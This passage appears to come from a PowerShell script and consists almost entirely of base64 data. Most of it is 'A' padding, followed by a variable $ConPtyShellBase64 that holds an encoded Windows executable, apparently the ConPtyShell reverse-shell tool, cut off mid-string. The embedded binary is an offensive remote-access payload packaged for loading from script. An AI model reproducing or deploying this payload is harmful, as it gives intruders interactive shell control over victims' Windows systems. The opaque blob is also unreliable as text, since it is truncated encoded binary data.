AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + $ConPtyShellBase64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJNbPmAAAAAAAAAAAOAAAgELAQgAAHAAAAAgAAAAAAAA/n8AAAAgAAAAoAAAAABAAAAgAAAAEAAABAAAAAAAAAAEAAAAAAAAAADgAAAAEAAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAALB/AABLAAAAAKAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAABGAAAAAgAAAAcAAAABAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAoAAAABAAAACAAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAMAAAAAQAAAAkAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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